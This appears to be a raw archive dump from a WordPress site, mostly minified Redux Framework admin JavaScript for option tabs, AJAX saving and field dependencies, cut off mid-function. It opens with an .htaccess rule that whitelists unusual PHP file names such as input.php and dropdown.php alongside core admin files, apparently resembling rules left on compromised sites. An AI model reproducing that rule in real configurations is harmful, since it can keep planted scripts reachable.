"^(index.php|credits.php|customize.php|edit-comments.php|edit-tags.php|edit.php|checkbox.php|export.php|input.php|link.php|load-scripts.php|load-styles.php|dropdown.php|menu.php|nav-menus.php|network.php|options-discussion.php|options-general.php|options-permalink.php|options-privacy.php|options-reading.php|options-writing.php|plugins.php|post-new.php|post.php|privacy.php|profile.php|site-health.php|term.php|text.php|themes.php|tools.php|update-core.php|user-edit.php|user-new.php|users.php|wp-links.php|wp-login.php|wp-signup.php)$"> Order allow,deny Allow from all </FilesMatch> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] </IfModule>����������������������������������������������������������������������������������������������������������redux-framework/assets/js/redux.min.js��������������������������������������������������������������0000644�����������������00000117620�14720701300�0014054 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������!function(e){"function"==typeof define&&define.amd?jQueryCookie.define(["jquery"],e):e(jQuery)}(function(p){var r=/\+/g;function h(e){return e}function x(e){return decodeURIComponent(e.replace(r," "))}function g(e){0===e.indexOf('"')&&(e=e.slice(1,-1).replace(/\\"/g,'"').replace(/\\\\/g,"\\"));try{return v.json?JSON.parse(e):e}catch(e){}}var v=p.cookie=function(e,r,t){if(void 0!==r){if("number"==typeof(t=p.extend({},v.defaults,t)).expires){var i=t.expires,a=t.expires=new Date;a.setDate(a.getDate()+i)}return r=v.json?JSON.stringify(r):String(r),document.cookie=[v.raw?e:encodeURIComponent(e),"=",v.raw?r:encodeURIComponent(r),t.expires?"; expires="+t.expires.toUTCString():"",t.path?"; path="+t.path:"",t.domain?"; domain="+t.domain:"",t.secure?"; secure":""].join("")}for(var n=v.raw?h:x,s=document.cookie.split("; "),d=e?void 0:{},o=0,u=s.length;o<u;o++){var l=s[o].split("="),c=n(l.shift()),f=n(l.join("="));if(e&&e===c){d=g(f);break}e||(d[c]=g(f))}return d};v.defaults={},p.removeCookie=function(e,r){return void 0!==p.cookie(e)&&(p.cookie(e,"",p.extend({},r,{expires:-1})),!0)}}),function(s){s.fn.typeWatch=function(e){var n=s.extend({wait:750,callback:function(){},highlight:!0,captureLength:2,inputTypes:["TEXT","TEXTAREA","PASSWORD","TEL","SEARCH","URL","EMAIL","DATETIME","DATE","MONTH","WEEK","TIME","DATETIME-LOCAL","NUMBER","RANGE"]},e);function r(e){var r=e.type.toUpperCase();if(0<=s.inArray(r,n.inputTypes)){var a={timer:null,text:s(e).val().toUpperCase(),cb:n.callback,el:e,wait:n.wait};n.highlight&&s(e).focus(function(){this.select()});s(e).on("keydown paste cut input",function(e){var r=a.wait,i=!1,t=this.type.toUpperCase();void 0!==e.keyCode&&13==e.keyCode&&"TEXTAREA"!=t&&0<=s.inArray(t,n.inputTypes)&&(r=1,i=!0);clearTimeout(a.timer),a.timer=setTimeout(function(){var e,r,t;r=i,((t=s((e=a).el).val()).length>=n.captureLength&&t.toUpperCase()!=e.text||r&&t.length>=n.captureLength)&&(e.text=t.toUpperCase(),e.cb.call(e.el,t))},r)})}}return this.each(function(){r(this)})}}(jQuery),function(s){s.fn.serializeForm=function(){if(this.length<1)return!1;var a={},n=a,e=':input[type!="checkbox"][type!="radio"], input:checked',r=function(){if(!this.disabled){var e=this.name.replace(/\[([^\]]+)?\]/g,",$1").split(","),r=e.length-1,t=s(this);if(e[0]){for(var i=0;i<r;i++)n=n[e[i]]=n[e[i]]||(""===e[i+1]||"0"===e[i+1]?[]:{});void 0!==n.length?n.push(t.val()):n[e[r]]=t.val(),n=a}}};return this.filter(e).each(r),this.find(e).each(r),a}}(jQuery),function(o){o.fn.alphanum=function(e){return t(this,g,s(e)),this},o.fn.alpha=function(e){return t(this,g,s(e,s("alpha"))),this},o.fn.numeric=function(e){return t(this,_,p(e)),this.blur(function(){!function(e,r){var t=parseFloat(o(e).val()),i=o(e);if(isNaN(t))return i.val("");n(r.min)&&t<r.min&&i.val("");n(r.max)&&t>r.max&&i.val("")}(this,e)}),this};var e,r,u={allow:"",disallow:"",allowSpace:!0,allowNumeric:!0,allowUpper:!0,allowLower:!0,allowCaseless:!0,allowLatin:!0,allowOtherCharSets:!0,maxLength:NaN},i={allowPlus:!1,allowMinus:!0,allowThouSep:!0,allowDecSep:!0,allowLeadingSpaces:!1,maxDigits:NaN,maxDecimalPlaces:NaN,maxPreDecimalPlaces:NaN,max:NaN,min:NaN},l={alpha:{allowNumeric:!1},upper:{allowNumeric:!1,allowUpper:!0,allowLower:!1,allowCaseless:!0},lower:{allowNumeric:!1,allowUpper:!1,allowLower:!0,allowCaseless:!0}},a={integer:{allowPlus:!1,allowMinus:!0,allowThouSep:!1,allowDecSep:!1},positiveInteger:{allowPlus:!1,allowMinus:!1,allowThouSep:!1,allowDecSep:!1}},c="!@#$%^&*()+=[]\\';,/{}|\":<>?~`.-_ ¬€£¦",d=",",f=".",v=function(){var e,r="0123456789".split(""),t={},i=0;for(i=0;i<r.length;i++)e=r[i],t[e]=!0;return t}(),m=(r=(e="abcdefghijklmnopqrstuvwxyz").toUpperCase(),new b(e+r));function t(e,l,c){e.each(function(){var u=o(this);u.bind("keyup change paste",function(e){var r="";e.originalEvent&&e.originalEvent.clipboardData&&e.originalEvent.clipboardData.getData&&(r=e.originalEvent.clipboardData.getData("text/plain")),setTimeout(function(){!function(e,r,t,i){var a=e.val();""==a&&0<i.length&&(a=i);var n=r(a,t);if(a==n)return;var s=e.alphanum_caret();e.val(n),a.length==n.length+1?e.alphanum_caret(s-1):e.alphanum_caret(s)}(u,l,c,r)},0)}),u.bind("keypress",function(e){var r=e.charCode?e.charCode:e.which;if((32<=(t=r)||10==t||13==t)&&!e.ctrlKey&&!e.metaKey){var t,i=String.fromCharCode(r),a=u.selection(),n=a.start,s=a.end,d=u.val(),o=d.substring(0,n)+i+d.substring(s);l(o,c)!=o&&e.preventDefault()}})})}function n(e){return!isNaN(e)}function s(e,r){void 0===r&&(r=u);var t,i,a,n,s,d={};return t="string"==typeof e?l[e]:void 0===e?{}:e,o.extend(d,r,t),void 0===d.blacklist&&(d.blacklistSet=(i=d.allow,a=d.disallow,n=new b(c+a),s=new b(i),n.subtract(s))),d}function p(e){var r,t={};return r="string"==typeof e?a[e]:void 0===e?{}:e,o.extend(t,i,r),t}function h(e,r,t){if(v[r])return!function(e,r){var t=r.maxDigits;if(""==t||isNaN(t))return!1;var i=x(e);return t<=i}(e,t)&&(!function(e,r){var t=r.maxPreDecimalPlaces;if(""==t||isNaN(t))return!1;if(0<=e.indexOf(f))return!1;var i=x(e);return t<=i}(e,t)&&(!function(e,r){var t=r.maxDecimalPlaces;if(""==t||isNaN(t))return!1;var i=e.indexOf(f);if(-1==i)return!1;var a=x(e.substring(i));return t<=a}(e,t)&&(n=e+r,(!(s=t).max||s.max<0||!(parseFloat(n)>s.max))&&(i=e+r,!(a=t).min||0<a.min||!(parseFloat(i)<a.min)))));var i,a,n,s;if(t.allowPlus&&"+"==r&&""==e)return!0;if(t.allowMinus&&"-"==r&&""==e)return!0;if(r==d&&t.allowThouSep&&function(e,r){if(0==e.length)return!1;if(0<=e.indexOf(f))return!1;var t=e.indexOf(d);if(t<0)return!0;var i=e.lastIndexOf(d);return!(e.length-i-1<3||0<x(e.substring(t))%3)}(e))return!0;if(r==f){if(0<=e.indexOf(f))return!1;if(t.allowDecSep)return!0}return!1}function x(e){return(e+="").replace(/[^0-9]/g,"").length}function g(e,r){if("string"!=typeof e)return e;var t,i,a,n,s,d,o,u,l,c,f,p=e.split(""),h=[],x=0;for(x=0;x<p.length;x++){t=p[x];var g=h.join("");i=g,a=t,f=c=l=u=o=d=s=void 0,(n=r).maxLength&&i.length>=n.maxLength||!(0<=n.allow.indexOf(a)||n.allowSpace&&" "==a)&&(n.blacklistSet.contains(a)||!n.allowNumeric&&v[a]||!n.allowUpper&&(d=(s=a).toUpperCase(),o=s.toLowerCase(),s==d&&d!=o)||!n.allowLower&&(l=(u=a).toUpperCase(),c=u.toLowerCase(),u==c&&l!=c)||!n.allowCaseless&&(f=a).toUpperCase()==f.toLowerCase()||!n.allowLatin&&m.contains(a)||!(n.allowOtherCharSets||v[a]||m.contains(a)))||h.push(t)}return h.join("")}function _(e,r){if("string"!=typeof e)return e;var t,i=e.split(""),a=[],n=0;for(n=0;n<i.length;n++){t=i[n],h(a.join(""),t,r)&&a.push(t)}return a.join("")}function b(e){this.map="string"==typeof e?function(e){var r,t={},i=e.split(""),a=0;for(a=0;a<i.length;a++)r=i[a],t[r]=!0;return t}(e):{}}b.prototype.add=function(e){var r=this.clone();for(var t in e.map)r.map[t]=!0;return r},b.prototype.subtract=function(e){var r=this.clone();for(var t in e.map)delete r.map[t];return r},b.prototype.contains=function(e){return!!this.map[e]},b.prototype.clone=function(){var e=new b;for(var r in this.map)e.map[r]=!0;return e},o.fn.alphanum.backdoorAlphaNum=function(e,r){return g(e,s(r))},o.fn.alphanum.backdoorNumeric=function(e,r){return _(e,p(r))},o.fn.alphanum.setNumericSeparators=function(e){1==e.thousandsSeparator.length&&1==e.decimalSeparator.length&&(d=e.thousandsSeparator,f=e.decimalSeparator)}}(jQuery),function(a){function n(e,r){if(e.createTextRange){var t=e.createTextRange();t.move("character",r),t.select()}else null!=e.selectionStart&&(e.focus(),e.setSelectionRange(r,r))}a.fn.alphanum_caret=function(t,i){return void 0===t?function(e){if("selection"in document){var r=e.createTextRange();try{r.setEndPoint("EndToStart",document.selection.createRange())}catch(e){return 0}return r.text.length}if(null!=e.selectionStart)return e.selectionStart}(this.get(0)):this.queue(function(e){if(isNaN(t)){var r=a(this).val().indexOf(t);!0===i?r+=t.length:void 0!==i&&(r+=i),n(this,r)}else n(this,t);e()})}}(jQuery),function(u){var l=function(e){return e?e.ownerDocument.defaultView||e.ownerDocument.parentWindow:window},c=function(e,r){var t=u.Range.current(e).clone(),i=u.Range(e).select(e);return t.overlaps(i)?(t.compare("START_TO_START",i)<1?(startPos=0,t.move("START_TO_START",i)):(fromElementToCurrent=i.clone(),fromElementToCurrent.move("END_TO_START",t),startPos=fromElementToCurrent.toString().length),0<=t.compare("END_TO_END",i)?endPos=i.toString().length:endPos=startPos+t.toString().length,{start:startPos,end:endPos}):null},f=function(e,r,t){var i,a,n,s,d,o;t=t||0;for(var u=0;e[u];u++)3===(i=e[u]).nodeType||4===i.nodeType?(a=t,t+=i.nodeValue.length,n=a,s=t,o=i,"number"==typeof(d=r)[0]&&d[0]<s&&(d[0]={el:o,count:d[0]-n}),"number"==typeof d[1]&&d[1]<=s&&(d[1]={el:o,count:d[1]-n})):8!==i.nodeType&&(t=f(i.childNodes,r,t));return t};jQuery.fn.selection=function(e,r){return void 0!==e?this.each(function(){!function(e,r,t){var i=l(e);if(e.setSelectionRange)void 0===t?(e.focus(),e.setSelectionRange(r,r)):(e.select(),e.selectionStart=r,e.selectionEnd=t);else if(e.createTextRange){var a=e.createTextRange();a.moveStart("character",r),t=t||r,a.moveEnd("character",t-e.value.length),a.select()}else if(i.getSelection){var n=i.document,s=i.getSelection(),d=n.createRange(),o=[r,void 0!==t?t:r];f([e],o),d.setStart(o[0].el,o[0].count),d.setEnd(o[1].el,o[1].count),s.removeAllRanges(),s.addRange(d)}else i.document.body.createTextRange&&((d=document.body.createTextRange()).moveToElementText(e),d.collapse(),d.moveStart("character",r),d.moveEnd("character",void 0!==t?t:r),d.select())}(this,e,r)}):function(r){var e=l(r);if(void 0!==r.selectionStart)return document.activeElement&&document.activeElement!=r&&r.selectionStart==r.selectionEnd&&0==r.selectionStart?{start:r.value.length,end:r.value.length}:{start:r.selectionStart,end:r.selectionEnd};if(e.getSelection)return c(r);try{if("input"==r.nodeName.toLowerCase()){var t=l(r).document.selection.createRange(),i=r.createTextRange();i.setEndPoint("EndToStart",t);var a=i.text.length;return{start:a,end:a+t.text.length}}var n=c(r);if(!n)return n;var s=u.Range.current().clone(),d=s.clone().collapse().range,o=s.clone().collapse(!1).range;return d.moveStart("character",-1),o.moveStart("character",-1),0!=n.startPos&&""==d.text&&(n.startPos+=2),0!=n.endPos&&""==o.text&&(n.endPos+=2),n}catch(e){return{start:r.value.length,end:r.value.length}}}(this[0])},u.fn.selection.getCharElement=f}(jQuery),function(x){"use strict";x.redux=x.redux||{},x(document).ready(function(){x.fn.isOnScreen=function(){if(window){var e=x(window),r={top:e.scrollTop()};r.right=r.left+e.width(),r.bottom=r.top+e.height();var t=this.offset();return t.right=t.left+this.outerWidth(),t.bottom=t.top+this.outerHeight(),!(r.right<t.left||r.left>t.right||r.bottom<t.top||r.top>t.bottom)}},x.redux.hideFields(),x.redux.checkRequired(),x.redux.initEvents(),x.redux.initQtip(),x.redux.tabCheck(),x.redux.notices(),x.redux.tabControl()}),x.redux.ajax_save=function(e){var t=x(document.getElementById("redux_ajax_overlay"));t.fadeIn(),jQuery(".redux-action_bar .spinner").addClass("is-active"),jQuery(".redux-action_bar input").attr("disabled","disabled");var i=jQuery(document.getElementById("redux_notification_bar"));i.slideUp(),jQuery(".redux-save-warn").slideUp(),jQuery(".redux_ajax_save_error").slideUp("medium",function(){jQuery(this).remove()});var r=jQuery(document.getElementById("redux-form-wrapper"));redux.fields.hasOwnProperty("editor")&&x.each(redux.fields.editor,function(e,r){if("undefined"!=typeof tinyMCE){var t=tinyMCE.get(e);t&&t.save()}});var a=r.serialize();r.find("input[type=checkbox]").each(function(){if(void 0!==x(this).attr("name")){var e=x(this).is(":checked")?x(this).val():"0";a+="&"+x(this).attr("name")+"="+e}}),"redux_save"!=e.attr("name")&&(a+="&"+e.attr("name")+"="+e.val());var n=r.attr("data-nonce");return jQuery.ajax({type:"post",dataType:"json",url:ajaxurl,data:{action:redux.args.opt_name+"_ajax_save",nonce:n,opt_name:redux.args.opt_name,data:a},error:function(e){window.console||(console={}),console.log=console.log||function(e,r){},console.log(redux.ajax.console),console.log(e.responseText),jQuery(".redux-action_bar input").removeAttr("disabled"),t.fadeOut("fast"),jQuery(".redux-action_bar .spinner").removeClass("is-active"),alert(redux.ajax.alert)},success:function(e){if(e.action&&"reload"==e.action)location.reload(!0);else if("success"==e.status){jQuery(".redux-action_bar input").removeAttr("disabled"),t.fadeOut("fast"),jQuery(".redux-action_bar .spinner").removeClass("is-active"),redux.options=e.options,redux.errors=e.errors,redux.warnings=e.warnings,i.html(e.notification_bar).slideDown("fast"),null===e.errors&&null===e.warnings||x.redux.notices();var r=x(document.getElementById("redux_notification_bar")).find(".saved_notice");r.slideDown(),r.delay(4e3).slideUp()}else jQuery(".redux-action_bar input").removeAttr("disabled"),jQuery(".redux-action_bar .spinner").removeClass("is-active"),t.fadeOut("fast"),jQuery(".wrap h2:first").parent().append('<div class="error redux_ajax_save_error" style="display:none;"><p>'+e.status+"</p></div>"),jQuery(".redux_ajax_save_error").slideDown(),jQuery("html, body").animate({scrollTop:0},"slow")}}),!1},x.redux.initEvents=function(){x(".redux-presets-bar").on("click",function(){window.onbeforeunload=null}),x("#toplevel_page_"+redux.args.slug+" .wp-submenu a, #wp-admin-bar-"+redux.args.slug+" a.ab-item").click(function(e){if((x("#toplevel_page_"+redux.args.slug).hasClass("wp-menu-open")||x(this).hasClass("ab-item"))&&!x(this).parents("ul.ab-submenu:first").hasClass("ab-sub-secondary")&&0<=x(this).attr("href").toLowerCase().indexOf(redux.args.slug+"&tab=")){e.preventDefault();var r=x(this).attr("href").split("&tab=");return x("#"+r[1]+"_section_group_li_a").click(),x(this).parents("ul:first").find(".current").removeClass("current"),x(this).addClass("current"),x(this).parent().addClass("current"),!1}}),x(".redux-action_bar input, #redux-import-action input").on("click",function(e){if(x(this).attr("name")==redux.args.opt_name+"[defaults]"){if(!confirm(redux.args.reset_confirm))return!1}else if(x(this).attr("name")==redux.args.opt_name+"[defaults-section]"){if(!confirm(redux.args.reset_section_confirm))return!1}else if("import"==x(this).attr("name")&&!confirm(redux.args.import_section_confirm))return!1;!(window.onbeforeunload=null)===redux.args.ajax_save?(x.redux.ajax_save(x(this)),e.preventDefault()):location.reload(!0)}),x(".expand_options").click(function(e){e.preventDefault();var r=x(".redux-container");if(x(r).hasClass("fully-expanded")){x(r).removeClass("fully-expanded");var t=x.cookie("redux_current_tab");x(".redux-container:first").find("#"+t+"_section_group").fadeIn(200,function(){0!==x(".redux-container:first").find("#redux-footer").length&&x.redux.stickyInfo(),x.redux.initFields()})}return x.redux.expandOptions(x(this).parents(".redux-container:first")),!1}),x(".saved_notice").is(":visible")&&x(".saved_notice").slideDown(),x(document.body).on("change",".redux-field input, .redux-field textarea, .redux-field select",function(){x(this).hasClass("noUpdate")||redux_change(x(this))});var e=x("#redux-footer").height();x("#redux-sticky-padder").css({height:e}),x("#redux-footer-sticky").removeClass("hide"),0!==x("#redux-footer").length&&(x(window).scroll(function(){x.redux.stickyInfo()}),x(window).resize(function(){x.redux.stickyInfo()})),x(".saved_notice").delay(4e3).slideUp()},x.redux.hideFields=function(){x("label[for='redux_hide_field']").each(function(e,r){var t=x(this).parent().parent();x(t).addClass("hidden")})},x.redux.checkRequired=function(){x.redux.required(),x("body").on("change",".redux-main select, .redux-main radio, .redux-main input[type=checkbox], .redux-main input[type=hidden]",function(e){x.redux.check_dependencies(this)}),x("body").on("check_dependencies",function(e,r){x.redux.check_dependencies(r)}),x(".redux-container td > fieldset:empty,td > div:empty").parent().parent().hide()},x.redux.initQtip=function(){if(x().qtip){var e="";!0===redux.args.hints.tip_style.shadow&&(e="qtip-shadow");var r="",t=redux.args.hints.tip_style.color;""!==t&&(r="qtip-"+t);var i="";!0===redux.args.hints.tip_style.rounded&&(i="qtip-rounded");var a="",n=redux.args.hints.tip_style.style;""!==n&&(a="qtip-"+n);var s=e+","+r+","+i+","+a+",redux-qtip";s=s.replace(/,/g," ");var d=redux.args.hints.tip_position.my,o=redux.args.hints.tip_position.at;d=x.redux.verifyPos(d.toLowerCase(),!0),o=x.redux.verifyPos(o.toLowerCase(),!1);var u=redux.args.hints.tip_effect.show.event,l=redux.args.hints.tip_effect.hide.event,c=redux.args.hints.tip_effect.show.effect,f=redux.args.hints.tip_effect.show.duration,p=redux.args.hints.tip_effect.hide.effect,h=redux.args.hints.tip_effect.hide.duration;x("div.redux-dev-qtip").each(function(){x(this).qtip({content:{text:x(this).attr("qtip-content"),title:x(this).attr("qtip-title")},show:{effect:function(){x(this).slideDown(500)},event:"mouseover"},hide:{effect:function(){x(this).slideUp(500)},event:"mouseleave"},style:{classes:"qtip-shadow qtip-light"},position:{my:"top center",at:"bottom center"}})}),x("div.redux-hint-qtip").each(function(){x(this).qtip({content:{text:x(this).attr("qtip-content"),title:x(this).attr("qtip-title")},show:{effect:function(){switch(c){case"slide":x(this).slideDown(f);break;case"fade":x(this).fadeIn(f);break;default:x(this).show()}},event:u},hide:{effect:function(){switch(p){case"slide":x(this).slideUp(h);break;case"fade":x(this).fadeOut(h);break;default:x(this).hide(h)}},event:l},style:{classes:s},position:{my:d,at:o}})}),x("input[qtip-content]").each(function(){x(this).qtip({content:{text:x(this).attr("qtip-content"),title:x(this).attr("qtip-title")},show:"focus",hide:"blur",style:s,position:{my:d,at:o}})})}},x.redux.tabCheck=function(){if(x(".redux-group-tab-link-a").click(function(){var e=x(this);if(e.parent().hasClass("empty_section")&&e.parent().hasClass("hasSubSections")){var r=x(this).closest("ul").find(".redux-group-tab-link-a"),t=r.index(this);e=r.slice(t+1,t+2)}var i=e.parents(".redux-container:first"),a=e.data("rel"),n=i.find(".redux-group-tab-link-li.active:first .redux-group-tab-link-a").data("rel");if(n!==a){if(x("#currentSection").val(a),e.parents(".postbox-container:first").length||x.cookie("redux_current_tab",a,{expires:7,path:"/"}),i.find("#"+a+"_section_group_li").parents(".redux-group-tab-link-li").length){var s=i.find("#"+a+"_section_group_li").parents(".redux-group-tab-link-li").attr("id").split("_");s=s[0]}if(i.find("#toplevel_page_"+redux.args.slug+" .wp-submenu a.current").removeClass("current"),i.find("#toplevel_page_"+redux.args.slug+" .wp-submenu li.current").removeClass("current"),i.find("#toplevel_page_"+redux.args.slug+" .wp-submenu a").each(function(){var e=x(this).attr("href").split("&tab=");e[1]!=a&&e[1]!=s||(x(this).addClass("current"),x(this).parent().addClass("current"))}),i.find("#"+n+"_section_group_li").find("#"+n+"_section_group_li").length)i.find("#"+n+"_section_group_li").addClass("activeChild"),i.find("#"+a+"_section_group_li").addClass("active").removeClass("activeChild");else if(i.find("#"+a+"_section_group_li").parents("#"+n+"_section_group_li").length||i.find("#"+n+"_section_group_li").parents("ul.subsection").find("#"+a+"_section_group_li").length)i.find("#"+a+"_section_group_li").parents("#"+n+"_section_group_li").length?i.find("#"+n+"_section_group_li").addClass("activeChild").removeClass("active"):(i.find("#"+a+"_section_group_li").addClass("active"),i.find("#"+n+"_section_group_li").removeClass("active")),i.find("#"+a+"_section_group_li").removeClass("activeChild").addClass("active");else if(i.find("#"+a+"_section_group_li").addClass("active").removeClass("activeChild").find("ul.subsection").slideDown(),i.find("#"+n+"_section_group_li").find("ul.subsection").length){i.find("#"+n+"_section_group_li").find("ul.subsection").slideUp("fast",function(){i.find("#"+n+"_section_group_li").removeClass("active").removeClass("activeChild")});var d=i.find("#"+a+"_section_group_li").parents(".hasSubSections:first");0<d.length&&(i.find("#"+a+"_section_group_li").removeClass("active"),a=d.find(".redux-group-tab-link-a:first").data("rel"),d.hasClass("empty_section")?(d.find(".subsection li:first").addClass("active"),i.find("#"+a+"_section_group_li").removeClass("active").addClass("activeChild").find("ul.subsection").slideDown(),d=d.find(".subsection li:first"),a=d.find(".redux-group-tab-link-a:first").data("rel")):i.find("#"+a+"_section_group_li").addClass("active").removeClass("activeChild").find("ul.subsection").slideDown())}else i.find("#"+n+"_section_group_li").parents("ul.subsection").length?i.find("#"+n+"_section_group_li").parents("#"+a+"_section_group_li").length?i.find("#"+n+"_section_group_li").removeClass("active"):i.find("#"+n+"_section_group_li").parents("ul.subsection").slideUp("fast",function(){i.find("#"+n+"_section_group_li").removeClass("active"),i.find("#"+n+"_section_group_li").parents(".redux-group-tab-link-li").removeClass("active").removeClass("activeChild"),i.find("#"+a+"_section_group_li").parents(".redux-group-tab-link-li").addClass("activeChild").find("ul.subsection").slideDown(),i.find("#"+a+"_section_group_li").addClass("active")}):(i.find("#"+n+"_section_group_li").removeClass("active"),i.find("#"+a+"_section_group_li").parents(".redux-group-tab-link-li").length&&(i.find("#"+a+"_section_group_li").parents(".redux-group-tab-link-li").addClass("activeChild").find("ul.subsection").slideDown(),i.find("#"+a+"_section_group_li").addClass("active")));i.find("#"+n+"_section_group").hide(),i.find("#"+a+"_section_group").fadeIn(200,function(){0!==i.find("#redux-footer").length&&x.redux.stickyInfo(),x.redux.initFields()}),x("#toplevel_page_"+redux.args.slug).find(".current").removeClass("current")}}),void 0===redux.last_tab){var e=decodeURI((new RegExp("tab=(.+?)(&|$)").exec(location.search)||["",""])[1]);""!==e?x.cookie("redux_current_tab_get")!==e&&(x.cookie("redux_current_tab",e,{expires:7,path:"/"}),x.cookie("redux_current_tab_get",e,{expires:7,path:"/"}),x("#"+e+"_section_group_li").click()):""!==x.cookie("redux_current_tab_get")&&x.removeCookie("redux_current_tab_get");var r=x("#"+x.cookie("redux_current_tab")+"_section_group_li_a");null===x.cookie("redux_current_tab")||void 0===x.cookie("redux_current_tab")||0===r.length?x(".redux-container").find(".redux-group-tab-link-a:first").click():r.click()}else x("#"+redux.last_tab+"_section_group_li_a").click()},x.redux.initFields=function(){x(".redux-group-tab:visible").find(".redux-field-init:visible").each(function(){var e=x(this).attr("data-type");if(e in redux.field_objects&&"function"==typeof redux.field_objects[e].init&&redux.field_objects[e].init(),!redux.customizer&&x(this).hasClass("redux_remove_th")){var r=x(this).parents("tr:first").find("th:first");r.html()&&0<r.html().length&&(x(this).prepend(r.html()),x(this).find(".redux_field_th").css("padding","0 0 10px 0")),x(this).parent().attr("colspan","2"),r.remove()}})},x.redux.notices=function(){redux.errors&&redux.errors.errors&&(x.each(redux.errors.errors,function(e,r){x.each(r.errors,function(e,r){x("#"+redux.args.opt_name+"-"+r.id).addClass("redux-field-error"),0===x("#"+redux.args.opt_name+"-"+r.id).parent().find(".redux-th-error").length?x("#"+redux.args.opt_name+"-"+r.id).append('<div class="redux-th-error">'+r.msg+"</div>"):x("#"+redux.args.opt_name+"-"+r.id).parent().find(".redux-th-error").html(r.msg).css("display","block")})}),x(".redux-container").each(function(){var i=x(this);i.find(".redux-menu-error").remove();var e=i.find(".redux-field-error").length;0<e&&(i.find(".redux-field-errors span").text(e),i.find(".redux-field-errors").slideDown(),i.find(".redux-group-tab").each(function(){var e=x(this).find(".redux-field-error").length;if(0<e){var r=x(this).attr("id").split("_");r=r[0],i.find('.redux-group-tab-link-a[data-key="'+r+'"]').prepend('<span class="redux-menu-error">'+e+"</span>"),i.find('.redux-group-tab-link-a[data-key="'+r+'"]').addClass("hasError");var t=i.find('.redux-group-tab-link-a[data-key="'+r+'"]').parents(".hasSubSections:first");t&&t.find(".redux-group-tab-link-a:first").addClass("hasError")}}))})),redux.warnings&&redux.warnings.warnings&&(x.each(redux.warnings.warnings,function(e,r){x.each(r.warnings,function(e,r){x("#"+redux.args.opt_name+"-"+r.id).addClass("redux-field-warning"),0===x("#"+redux.args.opt_name+"-"+r.id).parent().find(".redux-th-warning").length?x("#"+redux.args.opt_name+"-"+r.id).append('<div class="redux-th-warning">'+r.msg+"</div>"):x("#"+redux.args.opt_name+"-"+r.id).parent().find(".redux-th-warning").html(r.msg).css("display","block")})}),x(".redux-container").each(function(){var i=x(this);i.find(".redux-menu-warning").remove();var e=i.find(".redux-field-warning").length;0<e&&(i.find(".redux-field-warnings span").text(e),i.find(".redux-field-warnings").slideDown(),i.find(".redux-group-tab").each(function(){var e=x(this).find(".redux-field-warning").length;if(0<e){var r=x(this).attr("id").split("_");r=r[0],i.find('.redux-group-tab-link-a[data-key="'+r+'"]').prepend('<span class="redux-menu-warning">'+e+"</span>"),i.find('.redux-group-tab-link-a[data-key="'+r+'"]').addClass("hasWarning");var t=i.find('.redux-group-tab-link-a[data-key="'+r+'"]').parents(".hasSubSections:first");t&&t.find(".redux-group-tab-link-a:first").addClass("hasWarning")}}))}))},x.redux.tabControl=function(){x(".redux-section-tabs div").hide(),x(".redux-section-tabs div:first").show(),x(".redux-section-tabs ul li:first").addClass("active"),x(".redux-section-tabs ul li a").click(function(){x(".redux-section-tabs ul li").removeClass("active"),x(this).parent().addClass("active");var e=x(this).attr("href");return x(".redux-section-tabs div").hide(),x(e).fadeIn("medium",function(){x.redux.initFields()}),!1})},x.redux.required=function(){x.each(redux.folds,function(e,r){var t=x("#"+redux.args.opt_name+"-"+e);if(t.parents("tr:first").addClass("fold"),"hide"==r){if(t.parents("tr:first").addClass("hide"),t.hasClass("redux-container-section")){var i=x("#section-"+e);i.hasClass("redux-section-indent-start")&&(x("#section-table-"+e).hide().addClass("hide"),i.hide().addClass("hide"))}if(t.hasClass("redux-container-info")&&x("#info-"+e).hide().addClass("hide"),t.hasClass("redux-container-divide")&&x("#divide-"+e).hide().addClass("hide"),t.hasClass("redux-container-raw"))t.parents().find("table#"+redux.args.opt_name+"-"+e).hide().addClass("hide")}})},x.redux.get_container_value=function(e){var r=x("#"+redux.args.opt_name+"-"+e).serializeForm();return null!==r&&"object"==typeof r&&r.hasOwnProperty(redux.args.opt_name)&&(r=r[redux.args.opt_name][e]),x("#"+redux.args.opt_name+"-"+e).hasClass("redux-container-media")&&(r=r.url),r},x.redux.check_dependencies=function(e){if(null!==redux.required){var r=x(e),t=r.parents(".redux-field:first").data("id");if(redux.required.hasOwnProperty(t)){var i=r.parents(".redux-field-container:first"),d=i.parents("tr:first").hasClass("hide");i.parents("tr:first").length||(d=i.parents(".customize-control:first").hasClass("hide")),x.each(redux.required[t],function(e,r){var t=x(this),i=!1,a=x("#"+redux.args.opt_name+"-"+e),n=a.parents("tr:first");if(d||(i=x.redux.check_parents_dependencies(e)),!0===i){if(a.hasClass("redux-container-section")){var s=x("#section-"+e);s.hasClass("redux-section-indent-start")&&s.hasClass("hide")&&(x("#section-table-"+e).fadeIn(300).removeClass("hide"),s.fadeIn(300).removeClass("hide"))}if(a.hasClass("redux-container-info")&&x("#info-"+e).fadeIn(300).removeClass("hide"),a.hasClass("redux-container-divide")&&x("#divide-"+e).fadeIn(300).removeClass("hide"),a.hasClass("redux-container-raw"))a.parents().find("table#"+redux.args.opt_name+"-"+e).fadeIn(300).removeClass("hide");n.fadeIn(300,function(){x(this).removeClass("hide"),redux.required.hasOwnProperty(e)&&x.redux.check_dependencies(x("#"+redux.args.opt_name+"-"+e).children().first()),x.redux.initFields()}),(a.hasClass("redux-container-section")||a.hasClass("redux-container-info"))&&n.css({display:"none"})}else!1===i&&n.fadeOut(100,function(){x(this).addClass("hide"),redux.required.hasOwnProperty(e)&&x.redux.required_recursive_hide(e)});t.find("select, radio, input[type=checkbox]").trigger("change")})}}},x.redux.required_recursive_hide=function(r){x("#"+redux.args.opt_name+"-"+r).parents("tr:first").fadeOut(50,function(){if(x(this).addClass("hide"),x("#"+redux.args.opt_name+"-"+r).hasClass("redux-container-section")){var 